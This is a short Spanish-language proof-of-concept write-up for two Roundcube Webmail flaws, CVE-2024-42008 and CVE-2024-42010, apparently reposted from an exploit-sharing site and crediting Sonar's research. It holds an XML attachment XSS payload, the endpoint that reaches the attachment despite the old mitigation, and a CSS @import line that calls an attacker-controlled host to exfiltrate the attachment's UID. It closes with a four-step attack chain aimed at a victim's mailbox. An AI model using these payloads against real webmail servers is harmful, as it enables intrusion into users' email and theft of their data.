Roundcube-CVE-2024-42008-and-CVE-2024-42010-POC

Prueba de concepto: CVE-2024-42008 y CVE-2024-42010

Esta prueba de concepto (PoC) demuestra la explotación de dos vulnerabilidades en Roundcube Webmail que permiten la inyección de CSS y un cross-site scripting (XSS). El ataque consta de dos etapas:

1. XSS mediante archivo adjunto XML malicioso (CVE-2024-42008)

   Debido a controles insuficientes en la carga de archivos, se puede enviar un archivo XML como adjunto con código JavaScript, por ejemplo:

   root@kitploit:~

   <something:script xmlns:something="<http://www.w3.org/1999/xhtml>">
   	alert(origin)
   </something:script>
   

   Esto era un problema conocido y se registró como CVE-2020-13965, y la mitigación consistía en deshabilitar la opción "Abrir adjunto". Pero aún se puede acceder al archivo a través del endpoint

   root@kitploit:~

   https://roundcube.host.com/?_task=mail&_mbox=INBOX&_uid=[UID]&_part=2&_download=0&_action=get
   

   Donde UID es el identificador único de este adjunto concreto en este buzón concreto (es decir, INBOX).

2. Exfiltración de HTML mediante inyección de CSS (CVE-2024-42010)

   Al enviar un correo electrónico, es posible inyectar tu propio archivo CSS cuando está alojado en un dominio que comienza con a. A través de eso y de un archivo de servidor JavaScript que procesa las solicitudes realizadas por el host Roundcube vulnerable, es posible extraer el UID del adjunto XSS malicioso.

   Importa el CSS en un correo enviado con

   root@kitploit:~

   <style>
   	@import "//a.attackerdomain.com/start?"
   </style>
   

   Aloja el servidor JS (roundcube-css-exploit.js) que exfiltra el UID del adjunto malicioso

Cadena de ataque

1. Aloja en tu dominio el servidor JavaScript
2. Envía un correo electrónico con un adjunto XML malicioso e importa el CSS desde tu dominio
3. La víctima abre el correo y el UID se exfiltra
4. Luego, dependiendo de la forma preferida de entrega del XSS, puedes enviar un segundo correo con el enlace del adjunto o redirigir al usuario a través de allí.

Fuente: Correos gubernamentales en riesgo: vulnerabilidad crítica de cross-site scripting en Roundcube Webmail (Equipo de Investigación de Vulnerabilidades de Sonar)